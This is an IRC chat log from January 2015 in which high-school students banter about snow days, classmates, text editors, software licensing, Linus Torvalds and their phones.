[2015-01-25T20:47:59-0500] <+Tamini> andrew still owes me a grenade
[2015-01-25T20:48:03-0500] <+Tamini> even if its small
[2015-01-25T20:48:10-0500] <jwoglom> Tamini: you should really bother him about that
[2015-01-25T20:48:13-0500] <+Tamini> i could blow out something semi-significant?
[2015-01-25T20:48:56-0500] <jwoglom> hmm, i wonder what the focal point of FCPS infrastructure is
[2015-01-25T20:49:18-0500] <jwoglom> then again, the bomb implies damage
[2015-01-25T20:49:26-0500] <jwoglom> all we really want to do is cause delay
[2015-01-25T20:50:34-0500] <jwoglom> ooh! i know!
[2015-01-25T20:50:43-0500] <jwoglom> let's take a snowblower the size of rhode island
[2015-01-25T20:50:51-0500] <jwoglom> and use it to push all the snow going to the NE to DC!
[2015-01-25T20:51:24-0500] <assface> no, go outsiden ow and epoxy nails onto the roat outside of bus stops
[2015-01-25T20:51:27-0500] <assface> *road
[2015-01-25T20:51:55-0500] <jwoglom> lol that'd also work
[2015-01-25T20:52:05-0500] <jwoglom> but we want snow too, not just broken buses
[2015-01-25T20:52:36-0500] <assface> seed the clouds?
[2015-01-25T21:03:44-0500] <+Tamini> jwoglom: wtf happened on tj?
[2015-01-25T21:03:46-0500] <+Tamini> #tj*
[2015-01-25T21:04:28-0500] <jwoglom> Tamini: claudia and michael conversing with each other in #tjhsst
[2015-01-25T21:04:35-0500] <jwoglom> got bjones/others annoyed
[2015-01-25T21:07:44-0500] <+Tamini> um
[2015-01-25T21:07:45-0500] <+Tamini> no
[2015-01-25T21:07:47-0500] <+Tamini> matt/fox
[2015-01-25T21:07:48-0500] <+Tamini> also lol
[2015-01-25T21:07:54-0500] <+Tamini> thats every day man
[2015-01-25T21:08:23-0500] <jwoglom> yeah basically
[2015-01-25T21:08:59-0500] <+Tamini> i wanted to know about why mkramer was being referenced
[2015-01-25T21:09:58-0500] <jwoglom> oh
[2015-01-25T21:10:05-0500] <jwoglom> it's cause someone in #freenode randomly got mad at fox
[2015-01-25T21:10:10-0500] <jwoglom> and mentioned him going to TJ and anya
[2015-01-25T21:10:18-0500] <jwoglom> they were trying to figure out who it was
[2015-01-25T21:10:21-0500] <+Tamini> lol
[2015-01-25T21:10:21-0500] <+Tamini> oh
[2015-01-25T21:10:51-0500] <jwoglom> jholtom just guessed who was is in expats
[2015-01-25T21:12:05-0500] <+Tamini> oh nice
[2015-01-25T21:17:17-0500] <assface> wut
[2015-01-25T21:21:43-0500] <jwoglom> weird shit happens in tj channels
[2015-01-25T21:21:45-0500] <jwoglom> lol
[2015-01-25T21:24:07-0500] <+Tamini> we have this really pda-y couple
[2015-01-25T21:24:10-0500] <+Tamini> and its kinda gross
[2015-01-25T21:25:25-0500] <bob_twinkles> uh
[2015-01-25T21:25:27-0500] <bob_twinkles> which one
[2015-01-25T21:25:36-0500] <jwoglom> bob_twinkles: claudia and michael
[2015-01-25T21:25:38-0500] <jwoglom> duh
[2015-01-25T21:26:05-0500] <bob_twinkles> on IRC yeah I guess
[2015-01-25T21:26:31-0500] <bob_twinkles> last year at least anya/jacob were pretty PDA irl though
[2015-01-25T21:26:33-0500] <+Tamini> lol
[2015-01-25T21:26:38-0500] <+Tamini> oh that was weird
[2015-01-25T21:26:44-0500] <jwoglom> neither of them hang out in the syslab anymore though
[2015-01-25T21:26:49-0500] <+Tamini> idk i saw them making out once before they were actually dating so
[2015-01-25T21:26:50-0500] <jwoglom> because jacob has decided that he hates everyone
[2015-01-25T21:26:54-0500] <+Tamini> super uncomfortable
[2015-01-25T21:26:57-0500] <+Tamini> lol
[2015-01-25T21:27:02-0500] <+Tamini> jacob's not bad though, tbh.
[2015-01-25T21:27:23-0500] <jwoglom> he's a nice person, but you don't want to get on his bad side
[2015-01-25T21:27:38-0500] <jwoglom> he did get suspended for threatening to kill someone and their family
[2015-01-25T21:28:51-0500] <+Tamini> yeah um she's one of my best friends lets not go there
[2015-01-25T21:30:18-0500] <alokpathy> JacobEdelman: Why do you hate everybody?
[2015-01-25T21:30:22-0500] <alokpathy> JacobEdelman: Gosh.
[2015-01-25T21:30:33-0500] <jwoglom> jholtom != JacobEdelman :P
[2015-01-25T21:30:37-0500] <jwoglom> i think we've gone over this before
[2015-01-25T21:30:38-0500] <alokpathy> Shhh
[2015-01-25T21:30:40-0500] <alokpathy> Yeah I know xD
[2015-01-25T21:30:50-0500] <alokpathy> I was just messing with him.
[2015-01-25T21:31:29-0500] <+Tamini> hehe
[2015-01-25T21:31:32-0500] <+Tamini> too many jacobs~
[2015-01-25T21:31:39-0500] <+Tamini> when sammy and damasam were here it was too many sams too
[2015-01-25T21:31:54-0500] <jwoglom> there are too many sams period
[2015-01-25T21:32:29-0500] <bob_twinkles> hi!
[2015-01-25T21:32:31-0500] <LittleBobbyTables> I'm the best though, right?
[2015-01-25T21:33:04-0500] <+Tamini> oh right, our current count is 2
[2015-01-25T21:33:06-0500] <jwoglom> it'd be cool if sdamashek was in here, lol
[2015-01-25T21:33:08-0500] <+Tamini> but there was a point at which it was 4!
[2015-01-25T21:33:15-0500] <+Tamini> LittleBobbyTables: psh, no
[2015-01-25T21:33:19-0500] <+Tamini> you're barely around anymore, jacob gosh
[2015-01-25T21:33:44-0500] <alokpathy> Ah, so it wasn't JacobEdelman who hated everybody
[2015-01-25T21:33:49-0500] <alokpathy> it was LittleBobbyTables 
[2015-01-25T21:33:53-0500] <+Tamini> yes
[2015-01-25T21:33:55-0500] <LittleBobbyTables> I'm always around, I just never talk
[2015-01-25T21:34:05-0500] <+Tamini> i miss talking to you
[2015-01-25T21:34:10-0500] <LittleBobbyTables> You have my number
[2015-01-25T21:34:10-0500] <+Tamini> also
[2015-01-25T21:34:10-0500] <LittleBobbyTables> :/
[2015-01-25T21:34:12-0500] <alokpathy> Also wait bob_twinkles's real name is Sam?
[2015-01-25T21:34:14-0500] <+Tamini> you text gussie and not me
[2015-01-25T21:34:15-0500] <alokpathy> I thought he was, y'know, bob.
[2015-01-25T21:34:20-0500] <+Tamini> :(
[2015-01-25T21:34:23-0500] <+Tamini> at csaw remember
[2015-01-25T21:34:27-0500] <LittleBobbyTables> I haven't spoken to gus in like
[2015-01-25T21:34:27-0500] <bob_twinkles> nope, not bob =P
[2015-01-25T21:34:30-0500] <LittleBobbyTables> 20 years
[2015-01-25T21:34:40-0500] <+Tamini> lol
[2015-01-25T21:34:45-0500] <+Tamini> he chatted me last night to say um
[2015-01-25T21:34:45-0500] <LittleBobbyTables> Since like a week after that ctf
[2015-01-25T21:34:46-0500] <alokpathy> Wow. I thought I met my first Bob .-.
[2015-01-25T21:34:53-0500] <LittleBobbyTables> alokpathy: My name is bob
[2015-01-25T21:34:54-0500] <+Tamini> "if two koreans fall in love, does it make them
[2015-01-25T21:34:59-0500] <+Tamini> seoul-mates?"
[2015-01-25T21:34:59-0500] <LittleBobbyTables> My name even says so.
[2015-01-25T21:35:03-0500] <alokpathy> LittleBobbyTables: No it isn't :P
[2015-01-25T21:35:12-0500] <+Tamini> and i was like "rip"
[2015-01-25T21:35:13-0500] <alokpathy> Psh, you're Bobby.
[2015-01-25T21:35:15-0500] <alokpathy> Not Bob.
[2015-01-25T21:35:26-0500] <alokpathy> Tamini: That is such a bad pun LOL
[2015-01-25T21:35:26-0500] <+Tamini> you're just another generic xkcd reference
[2015-01-25T21:35:26-0500] <LittleBobbyTables> "Sorry, you can't paste more than 50 kb of text"
[2015-01-25T21:35:31-0500] <LittleBobbyTables> wow
[2015-01-25T21:35:40-0500] <LittleBobbyTables> And you wonder I never talk to you
[2015-01-25T21:35:43-0500] <alokpathy> Tamini: Harsh :(
[2015-01-25T21:36:06-0500] <+Tamini> alokpathy: I KNOW
[2015-01-25T21:36:07-0500] <+Tamini> i was like
[2015-01-25T21:36:12-0500] <+Tamini> "oh right this is why i dont talk to you anymore"
[2015-01-25T21:36:17-0500] <jwoglom> Tamini: lol that pickup line
[2015-01-25T21:36:24-0500] <+Tamini> LittleBobbyTables: im sorry im just salty because ive missed you
[2015-01-25T21:36:37-0500] <LittleBobbyTables> Well then text me yo
[2015-01-25T21:36:57-0500] <alokpathy> Wait I think I asked this before, but how many people here have a Snapchat?
[2015-01-25T21:37:09-0500] <alokpathy> I need to see whether it's worth getting.
[2015-01-25T21:37:17-0500] <LittleBobbyTables> It's not.
[2015-01-25T21:37:24-0500] <alokpathy> Well that makes things easier.
[2015-01-25T21:38:12-0500] <alokpathy> Hm, apparently 10 out of the 16 National Merit Semi-Finalists in my school have middle names.
[2015-01-25T21:38:15-0500] <LittleBobbyTables> unless you know grills
[2015-01-25T21:38:22-0500] <LittleBobbyTables> then it's pretty worth
[2015-01-25T21:38:23-0500] <alokpathy> LittleBobbyTables: Grills?
[2015-01-25T21:38:50-0500] <LittleBobbyTables>  grills
[2015-01-25T21:38:50-0500] <alokpathy> Anyways, I think I know the secret to becoming a semifinalist now.
[2015-01-25T21:38:53-0500] <alokpathy> Have a middle name.
[2015-01-25T21:39:00-0500] <alokpathy> LittleBobbyTables: Uh, did you mean girls?
[2015-01-25T21:39:26-0500] <LittleBobbyTables> This is the internet, it's obviously the same thing
[2015-01-25T21:39:42-0500] <alokpathy> Ah, clearly.
[2015-01-25T21:40:08-0500] <assface> guys I have 100% in every class right now
[2015-01-25T21:40:15-0500] <assface> pretty cool huh
[2015-01-25T21:40:36-0500] <LittleBobbyTables> no
[2015-01-25T21:40:40-0500] <alokpathy> assface: Is it because the semester just began? :P
[2015-01-25T21:40:45-0500] <assface> naaaaaaah'
[2015-01-25T21:41:03-0500] <alokpathy> At least  you don't have a 0% xD
[2015-01-25T21:41:15-0500] <+Tamini> alokpathy: ill send you cute selfies of me
[2015-01-25T21:41:18-0500] <+Tamini> get a snapchat 
[2015-01-25T21:41:23-0500] <jwoglom> 0/0 == 100% obviously
[2015-01-25T21:41:29-0500] <assface> well i mean
[2015-01-25T21:41:36-0500] <+Tamini> or we can send each other pictuees of code
[2015-01-25T21:41:43-0500] <+Tamini> that's kinda how nezorg and i snapchat
[2015-01-25T21:41:50-0500] <assface> cute selfies or pictures of code
[2015-01-25T21:42:00-0500] <alokpathy> jwoglom: Or maybe he handed in like
[2015-01-25T21:42:03-0500] <alokpathy> 1 hw assignment
[2015-01-25T21:42:13-0500] <alokpathy> A 0/0 on our system is  a 0%
[2015-01-25T21:42:15-0500] <assface> I have a friend who takes pictures of me making stupid faces and sends them to people on snapchat
[2015-01-25T21:42:22-0500] <+Tamini> lolol
[2015-01-25T21:42:28-0500] <+Tamini> i do that during orgo sometimes
[2015-01-25T21:43:26-0500] <alokpathy> assface: What if nezorg secretly is code?
[2015-01-25T21:43:32-0500] <alokpathy> So a picture of code == a selfie
[2015-01-25T21:44:14-0500] <+Tamini> i thought we already established that nezorg was a bot i wrote
[2015-01-25T21:44:35-0500] <alokpathy> Ah, yes.
[2015-01-25T21:45:27-0500] <ubuntor> huh, default application for c++ files is set to emacs
[2015-01-25T21:57:07-0500] <nezorg> self.assert_emacs_superiority()
[2015-01-25T21:57:15-0500] <nezorg> self.deny_being_bot()
[2015-01-25T21:58:06-0500] <alokpathy> xD
[2015-01-25T21:59:36-0500] <nezorg> self.express_inferiority_about('taking/sending selfies')
[2015-01-25T22:00:08-0500] <+Tamini> nezorg: you dont send me selfies anymore :(
[2015-01-25T22:00:12-0500] <+Tamini> also lol
[2015-01-25T22:00:22-0500] <nezorg> Tamini: I was never good at it
[2015-01-25T22:00:28-0500] <+Tamini> some of them were pretty cute cmon
[2015-01-25T22:00:29-0500] <+Tamini> :(
[2015-01-25T22:00:47-0500] <+Tamini> by tj standards, everything is attractive
[2015-01-25T22:01:01-0500] <nezorg> ...surely not compared to me
[2015-01-25T22:01:05-0500] <+Tamini> so no matter what, you can't do worse than average
[2015-01-25T22:01:17-0500] <+Tamini> nezorg: you SEVERELY underestimate a sci/tech school >__
[2015-01-25T22:01:18-0500] <+Tamini> >
[2015-01-25T22:01:23-0500] <nezorg> mmmm
[2015-01-25T22:01:24-0500] <nezorg> perhaps
[2015-01-25T22:01:29-0500] <+Tamini> also
[2015-01-25T22:01:39-0500] <+Tamini> on skype, arent't you outnumbered in the vim vs skype battle :P
[2015-01-25T22:01:47-0500] <nezorg> vim vs skype? :P
[2015-01-25T22:02:04-0500] <nezorg> ...but on skype, I am outnumbered in the vim vs emacs battle, yes
[2015-01-25T22:02:11-0500] <alokpathy> Skype is the superior text editor.
[2015-01-25T22:02:22-0500] <nezorg> self.assert_emacs_superiority()
[2015-01-25T22:02:24-0500] <ubuntor> edit that datastream in realtime with vim
[2015-01-25T22:02:37-0500] <nezorg> ubuntor: does vim have a hex editor built-in?
[2015-01-25T22:02:59-0500] <+Tamini> emacs
[2015-01-25T22:03:03-0500] <+Tamini> i like skype better :(
[2015-01-25T22:03:13-0500] <+Tamini> it lets me edit the stupid things i say with
[2015-01-25T22:03:30-0500] <+Tamini> super stealth
[2015-01-25T22:03:40-0500] <nezorg> one of the reasons I don't like skype! :P
[2015-01-25T22:04:11-0500] <ubuntor> nezorg: looks like there's a way to do it with xxd, but it's not native
[2015-01-25T22:04:15-0500] <@awe> He's outnumbered here, too.
[2015-01-25T22:04:15-0500] <awebot> awe: 4 hours ago, The_Master said starbound server.
[2015-01-25T22:04:26-0500] <nezorg> ubuntor: then emacs is obviously superior in every way
[2015-01-25T22:04:28-0500] <@awe> Everyone here uses vim.
[2015-01-25T22:04:37-0500] <assface> all the cool people here use vim
[2015-01-25T22:04:37-0500] <nezorg> doesn't some weird guy use atom?
[2015-01-25T22:04:42-0500] <assface> pfft
[2015-01-25T22:04:43-0500] <alokpathy> nezorg: JacobEdelman 
[2015-01-25T22:04:44-0500] <@awe> I think JacobEdelman does.
[2015-01-25T22:04:47-0500] <@awe> I used to.
[2015-01-25T22:04:51-0500] <@awe> hey assface
[2015-01-25T22:04:55-0500] <nezorg> none of you have seen the light
[2015-01-25T22:05:01-0500] <ubuntor> nezorg: oh, you should do wechall
[2015-01-25T22:05:05-0500] <+Tamini> nezorg: wh do you enjoy my pain D:
[2015-01-25T22:05:17-0500] <nezorg> the day will come when rms will save all the followers of the church of emacs
[2015-01-25T22:05:21-0500] <assface> awe: yeah
[2015-01-25T22:05:26-0500] <+Tamini> lolol
[2015-01-25T22:05:29-0500] <alokpathy> nezorg: That's an interesting way to put it LOL
[2015-01-25T22:05:31-0500] <nezorg> and send the others to hell
[2015-01-25T22:05:32-0500] <assface> nezorg: our god, RMS?
[2015-01-25T22:05:35-0500] <+Tamini> jesus christ.
[2015-01-25T22:05:38-0500] <nezorg> assface: exactly
[2015-01-25T22:05:45-0500] <assface> defender of freedoms?
[2015-01-25T22:05:46-0500] <alokpathy> Our lord and savior, RMS.
[2015-01-25T22:05:47-0500] <jwoglom> i don't know if i'd want to be in rms' heaven
[2015-01-25T22:05:50-0500] <+Tamini> father, son, and holy ghost?
[2015-01-25T22:05:53-0500] <jwoglom> i think it'd involve no internet access
[2015-01-25T22:06:02-0500] <jwoglom> sounds like hell to me
[2015-01-25T22:06:07-0500] <assface> jwoglom: it would be a free and open internet
[2015-01-25T22:06:08-0500] <nezorg> jwoglom: and no access to gcc's ast...
[2015-01-25T22:06:18-0500] <ubuntor> it would be a better rewritten version
[2015-01-25T22:06:30-0500] <@awe> Fuck RMS.
[2015-01-25T22:06:31-0500] <+Tamini> nezorg: do i need to send you more snapchats of me coding in vim until i can brainwash you enough
[2015-01-25T22:06:41-0500] <assface> awe: HERETIC!
[2015-01-25T22:06:47-0500] <nezorg> Tamini: HERETIC!
[2015-01-25T22:06:49-0500] <nezorg> :P
[2015-01-25T22:06:54-0500] • nezorg: begins the witch hunt
[2015-01-25T22:06:56-0500] <+Tamini> hey, but you knew that already :P
[2015-01-25T22:06:59-0500] <nezorg> true
[2015-01-25T22:07:03-0500] • Tamini: flies away on broomstick
[2015-01-25T22:07:22-0500] <@awe> RMS is insane.
[2015-01-25T22:07:26-0500] <nezorg> well, sure
[2015-01-25T22:07:32-0500] <jwoglom> Tamini: (gasp) so you are a witch!
[2015-01-25T22:07:39-0500] <jwoglom> you were lying this whole time and impersonating a robot!
[2015-01-25T22:07:48-0500] <assface> awe: and...?
[2015-01-25T22:07:48-0500] <jwoglom> or..are you a robot witch..
[2015-01-25T22:07:50-0500] <nezorg> awe: rms is one of those idealists that I think is pretty crazy but which I'm glad we have
[2015-01-25T22:07:53-0500] <+Tamini> well, a jetpack shaped like a broomstick
[2015-01-25T22:07:54-0500] <+Tamini> and lol
[2015-01-25T22:08:02-0500] <ubuntor> "join us now and share the software"
[2015-01-25T22:08:07-0500] <alokpathy> Tamini: Do you have the firebolt? :P
[2015-01-25T22:08:22-0500] <nezorg> alokpathy: Tamini uses chrome
[2015-01-25T22:08:25-0500] <nezorg> instead of iceweasel
[2015-01-25T22:08:30-0500] <assface> wut
[2015-01-25T22:08:32-0500] <nezorg> (does gnu have a browser?)
[2015-01-25T22:08:32-0500] <@awe> I really don't believe in the GNU sense of freedom.
[2015-01-25T22:08:38-0500] <assface> nezorg: lynx?
[2015-01-25T22:08:40-0500] <@awe> nezorg: lynx.
[2015-01-25T22:08:40-0500] <nezorg> awe: honestly, me neither :P
[2015-01-25T22:08:40-0500] <alokpathy> nezorg: It was an HP reference LOL
[2015-01-25T22:08:51-0500] <jwoglom> nezorg: icecat?
[2015-01-25T22:08:52-0500] <@awe> I believe in the public domain.
[2015-01-25T22:09:00-0500] <jwoglom> iceweasel is debian's version iirc
[2015-01-25T22:09:02-0500] <nezorg> awe: eh, I like something close
[2015-01-25T22:09:04-0500] <assface> BSD licens is best license
[2015-01-25T22:09:05-0500] <nezorg> usually MIT or BSD
[2015-01-25T22:09:13-0500] <+Tamini> nezorg: wait, how do you know that? :I
[2015-01-25T22:09:18-0500] <@awe> Why?
[2015-01-25T22:09:21-0500] <@awe> Who cares about attribution?
[2015-01-25T22:09:27-0500] <assface> I do
[2015-01-25T22:09:28-0500] <bob_twinkles> US copyright law doesn't believe in public domain =P
[2015-01-25T22:09:30-0500] <@awe> Why do you need your name attached to everything?
[2015-01-25T22:09:32-0500] <@awe> bob_twinkles: that's not true.
[2015-01-25T22:09:37-0500] <@awe> bob_twinkles: US copyright law covers public domain.
[2015-01-25T22:09:41-0500] <nezorg> there's the whole liability thing too
[2015-01-25T22:09:43-0500] <@awe> bob_twinkles: it's just a bit more complicated.
[2015-01-25T22:09:43-0500] <bob_twinkles> well, yes
[2015-01-25T22:09:50-0500] <nezorg> anyway
[2015-01-25T22:09:50-0500] <+Tamini> alokpathy: you know it.
[2015-01-25T22:09:50-0500] <assface> awe: they really don't
[2015-01-25T22:09:53-0500] <@awe> nezorg: Unlicense has the liability waiver.
[2015-01-25T22:09:53-0500] <bob_twinkles> but you need to be very careful about making the release correct
[2015-01-25T22:09:53-0500] <nezorg> I'm a typical human
[2015-01-25T22:09:56-0500] <nezorg> who has a big ego
[2015-01-25T22:09:57-0500] <assface> riiight
[2015-01-25T22:10:08-0500] <assface> I'll believe that when I see you in person :P
[2015-01-25T22:10:18-0500] <nezorg> me?
[2015-01-25T22:10:21-0500] <assface> yes
[2015-01-25T22:10:33-0500] <nezorg> well I have a big ego in that I like having code attributed to me
[2015-01-25T22:10:34-0500] <+Tamini> nezorg: your ego doesn't exist.
[2015-01-25T22:10:44-0500] <alokpathy> nezorg: You don't seem to have an ego, lol.
[2015-01-25T22:10:50-0500] <+Tamini> we have full on CONVERSATIONS about your lack of self-esteem.
[2015-01-25T22:10:52-0500] <assface> notice how nezorg doesn't refute that he's nto actually a person
[2015-01-25T22:10:59-0500] <nezorg> Tamini: alokpathy: the false modesty is simply a cover
[2015-01-25T22:11:04-0500] <+Tamini> psh
[2015-01-25T22:11:05-0500] <+Tamini> im sure it is
[2015-01-25T22:11:10-0500] <@awe> I think it's funny that I'm somehow the one with less ego here.
[2015-01-25T22:11:16-0500] <nezorg> also WTF how did my caps lock key turn back into a caps lock key
[2015-01-25T22:11:17-0500] <@awe> I'm the one who cares less about attribution.
[2015-01-25T22:11:25-0500] <assface> nezorg: did you update?
[2015-01-25T22:11:31-0500] <assface> sometimes updates magically solve problems
[2015-01-25T22:11:36-0500] <bob_twinkles> I'd like attribution but realistically I know that nobody cares
[2015-01-25T22:11:37-0500] <nezorg> assface: no I walked away for an hour
[2015-01-25T22:11:37-0500] <alokpathy> Tamini: You programmed him. You would know :P
[2015-01-25T22:11:45-0500] <@awe> bob_twinkles: yup, that's my feeling.
[2015-01-25T22:11:47-0500] <assface> nezorg: sometimes that works too
[2015-01-25T22:11:54-0500] <nezorg> assface: it didn't fix a problem, it created one :/
[2015-01-25T22:12:09-0500] <nezorg> I want my caps lock key to be a control key, not a caps lock key
[2015-01-25T22:12:11-0500] <+Tamini> alokpathy: im not smart enough to program a bot that cool, yknow :P
[2015-01-25T22:12:12-0500] <@awe> bob_twinkles: Sure, I worked on it and I'd prefer someone put my name on it if they can, but you know, whatever.
[2015-01-25T22:12:25-0500] <alokpathy> Tamini: I don't think anyone is XD
[2015-01-25T22:12:35-0500] <nezorg> Tamini: alokpathy: I have self-esteem in my choice of editor, don't I?
[2015-01-25T22:12:51-0500] <assface> I wouldn't call "satanism" self-esteem
[2015-01-25T22:13:12-0500] <+Tamini> nezorg: nah, i'm sure that's just a facade
[2015-01-25T22:13:25-0500] <+Tamini> also yeah, satanism.
[2015-01-25T22:13:35-0500] • nezorg: goes and draws horns on rms
[2015-01-25T22:13:48-0500] <alokpathy> lolol
[2015-01-25T22:13:54-0500] <+Tamini> :D
[2015-01-25T22:13:55-0500] <bob_twinkles> I think the beset writeup I've found of licensing is https://github.com/nothings/stb/blob/master/docs/stb_howto.txt#L124
[2015-01-25T22:14:01-0500] <nezorg> is rms a daemon?
[2015-01-25T22:14:06-0500] <+Tamini> do you have a portrait of rmt in front of your desk on something
[2015-01-25T22:14:09-0500] <+Tamini> i wouldnt be surprised
[2015-01-25T22:14:15-0500] <+Tamini> nezorg: ic wat u did der
[2015-01-25T22:14:31-0500] <nezorg> Tamini: alas, I do not have such a portrait
[2015-01-25T22:14:39-0500] <nezorg> I feel conflicted
[2015-01-25T22:14:40-0500] <jwoglom> /etc/init.d/rmsd restart
[2015-01-25T22:14:50-0500] <+Tamini> how so?
[2015-01-25T22:14:52-0500] <nezorg> on the one hand, he's the leader of the church of emacs, of which I am a member
[2015-01-25T22:15:03-0500] <nezorg> on the other, I don't like his definition of freedom
[2015-01-25T22:15:37-0500] <assface> I like Linus better
[2015-01-25T22:15:45-0500] <nezorg> assface: he seems to match your nick
[2015-01-25T22:15:54-0500] <assface> *shots fired*
[2015-01-25T22:16:02-0500] <jwoglom> he's a character
[2015-01-25T22:16:08-0500] <nezorg> didn't he get himself into a diversity scandal recently?
[2015-01-25T22:16:20-0500] <assface> I saw something about it
[2015-01-25T22:16:31-0500] <jwoglom> yeah
[2015-01-25T22:16:33-0500] <assface> I'm not into the whole "news" scene though
[2015-01-25T22:16:55-0500] <alokpathy> Lol Linus is such an interesting character.
[2015-01-25T22:17:05-0500] <jwoglom> http://arstechnica.com/business/2015/01/linus-torvalds-on-why-he-isnt-nice-i-dont-care-about-you/
[2015-01-25T22:17:08-0500] <@awe> Linus is an asshole.
[2015-01-25T22:17:18-0500] <nezorg> jwoglom: good news source
[2015-01-25T22:17:29-0500] <alokpathy> ^^
[2015-01-25T22:17:32-0500] <jwoglom> ars is like the only decent tech news site left
[2015-01-25T22:17:34-0500] <jwoglom> it makes me sad
[2015-01-25T22:17:34-0500] <bob_twinkles> he's an asshole who's good at his job though
[2015-01-25T22:17:39-0500] <ubuntor> ^
[2015-01-25T22:17:43-0500] <assface> ^
[2015-01-25T22:17:44-0500] <nezorg> jwoglom: I pretty much read that and lwn
[2015-01-25T22:17:45-0500] <jwoglom> ^
[2015-01-25T22:17:48-0500] <+Tamini> lol
[2015-01-25T22:17:54-0500] <assface> also I enjoy his brand of assholery
[2015-01-25T22:17:55-0500] <+Tamini> we need assholes, prety much
[2015-01-25T22:18:07-0500] <jwoglom> and assfaces
[2015-01-25T22:18:14-0500] <assface> you need me?
[2015-01-25T22:18:16-0500] <jwoglom> gotta be inclusive
[2015-01-25T22:18:45-0500] <nezorg> apparently linus doesn't think so
[2015-01-25T22:18:55-0500] <assface> if you actually watch any of his talks, he always gets a question on why he's an asshole, and he's always really apologetic
[2015-01-25T22:19:02-0500] <nezorg> yeah :P
[2015-01-25T22:19:13-0500] <@awe> bob_twinkles: Yes.
[2015-01-25T22:19:14-0500] <@awe> bob_twinkles: Agreed.
[2015-01-25T22:19:16-0500] <jwoglom> being an asshole gets things done, honestly
[2015-01-25T22:19:18-0500] <nezorg> he gets asshole-ish every couple months for one flaming email and it gets a bunch of press
[2015-01-25T22:19:20-0500] <bob_twinkles> those questions are always really annoying too
[2015-01-25T22:19:27-0500] <assface> ^
[2015-01-25T22:19:33-0500] <assface> or the ones about systemd
[2015-01-25T22:19:36-0500] <bob_twinkles> it's like "c'mon, everyone know's his answer to this how many goddamn times do you have to ask"
[2015-01-25T22:19:44-0500] <LittleBobbyTables> I can confirm that, jwoglom 
[2015-01-25T22:19:48-0500] <+Tamini> LittleBobbyTables: needy
[2015-01-25T22:19:48-0500] <+Tamini> <3
[2015-01-25T22:19:59-0500] <LittleBobbyTables> You're the one that misses me
[2015-01-25T22:20:13-0500] <assface> gettin' all wuvvy-duvvy on da IRC
[2015-01-25T22:20:31-0500] <jwoglom> Tamini: if you miss him, talk to him more :P
[2015-01-25T22:20:35-0500] <LittleBobbyTables> ^
[2015-01-25T22:20:38-0500] <@awe> He's never here though. :c
[2015-01-25T22:20:46-0500] <LittleBobbyTables> She has my phone number.
[2015-01-25T22:20:56-0500] <LittleBobbyTables> And not the one that a I forgot to use and is now disconnected.
[2015-01-25T22:21:03-0500] <@awe> Do I?
[2015-01-25T22:21:09-0500] <LittleBobbyTables> Yes
[2015-01-25T22:21:21-0500] <+Tamini> lol
[2015-01-25T22:21:23-0500] <+Tamini> but you're like
[2015-01-25T22:21:26-0500] <+Tamini> "y u no text meee"
[2015-01-25T22:21:27-0500] <+Tamini> :
[2015-01-25T22:21:27-0500] <+Tamini> P
[2015-01-25T22:21:34-0500] <LittleBobbyTables> It was one e tyvm
[2015-01-25T22:21:39-0500] <LittleBobbyTables> Misquoting me, so mean.
[2015-01-25T22:21:55-0500] <LittleBobbyTables> Actually
[2015-01-25T22:21:57-0500] <LittleBobbyTables> I didn't even say me
[2015-01-25T22:22:04-0500] <assface> I get a text maybe once every 3 days
[2015-01-25T22:22:11-0500] <assface> half the time my phone is off anyway
[2015-01-25T22:22:13-0500] <LittleBobbyTables> So for all you know, it could have been about anyone.
[2015-01-25T22:22:31-0500] <+Tamini> lol
[2015-01-25T22:22:33-0500] <nezorg> assface: I don't get texts! :P
[2015-01-25T22:22:33-0500] <+Tamini> "y u no text"
[2015-01-25T22:22:44-0500] <jwoglom> i quite literally never get texts
[2015-01-25T22:22:50-0500] <jwoglom> except for once a month
[2015-01-25T22:22:54-0500] <LittleBobbyTables> I get texts
[2015-01-25T22:22:55-0500] <jwoglom> when i get an autopay notification from tmobile
[2015-01-25T22:23:00-0500] <+Tamini> LOL
[2015-01-25T22:23:04-0500] <+Tamini> sad life, it is
[2015-01-25T22:23:06-0500] <nezorg> I literally have texting disabled on my plan
[2015-01-25T22:23:10-0500] • hardmath123: high-fives jwoglom
[2015-01-25T22:23:10-0500] <alokpathy> Yeah I don't get texts either xD
[2015-01-25T22:23:11-0500] <@awe> My girlfriend is the only person who texts me.
[2015-01-25T22:23:14-0500] <nezorg> ...but I don't use my actual phone number either
[2015-01-25T22:23:17-0500] <nezorg> yay gvoice
[2015-01-25T22:23:22-0500] <jwoglom> nezorg: gvoice!
[2015-01-25T22:23:24-0500] <assface> I barely use my phone anyway
[2015-01-25T22:23:25-0500] <jwoglom> i use it too
[2015-01-25T22:23:49-0500] <nezorg> assface: how I admire you
[2015-01-25T22:23:53-0500] <assface> I have one of those dumbphones
[2015-01-25T22:24:02-0500] <+Tamini> i use my phone 24/7 but
[2015-01-25T22:24:02-0500] <jwoglom> nexus!
[2015-01-25T22:24:09-0500] <+Tamini> im too lazy to actually text people back
[2015-01-25T22:24:14-0500] <+Tamini> (cough jacob)
[2015-01-25T22:24:16-0500] <nezorg> jwoglom: I abandoned my nexus this year :(
[2015-01-25T22:24:22-0500] <nezorg> got the next best thing, though
[2015-01-25T22:24:24-0500] <jwoglom> aww, why?
[2015-01-25T22:24:27-0500] <jwoglom> what'd you get
[2015-01-25T22:24:28-0500] <nezorg> moto x
[2015-01-25T22:24:32-0500] <jwoglom> ah, cool
[2015-01-25T22:24:37-0500] <jwoglom> that's like the half-sibling of a nexus
[2015-01-25T22:24:41-0500] <nezorg> pretty much
[2015-01-25T22:24:45-0500] <jwoglom> i'm still rocking a n5
[2015-01-25T22:24:45-0500] <nezorg> the active notifications are awesome
[2015-01-25T22:24:54-0500] <nezorg> ah, nice
[2015-01-25T22:24:59-0500] <nezorg> I hated the glass back on my n4...
[2015-01-25T22:25:11-0500] <bob_twinkles> why?
[2015-01-25T22:25:14-0500] <jwoglom> yeah that was an interesting design decision
[2015-01-25T22:25:20-0500] <assface> if I got a smartphone I think I'd break it instantly
[2015-01-25T22:25:20-0500] <jwoglom> it looks pretty but breaks easily
[2015-01-25T22:25:28-0500] <jwoglom> assface: use a case, lol
[2015-01-25T22:25:34-0500] <alokpathy> assface: Ballistic cases are great for that :P
[2015-01-25T22:25:44-0500] <alokpathy> I've dropped my phone countless number of times
[2015-01-25T22:25:45-0500] <jwoglom> i have a really minimal case on mine that basically just makes the screen inset by a millimeter or two
[2015-01-25T22:25:46-0500] <alokpathy> not a scratch.
[2015-01-25T22:25:52-0500] <assface> I knew a guy who had the best case and he dropped his phone from 3 feet and it broke
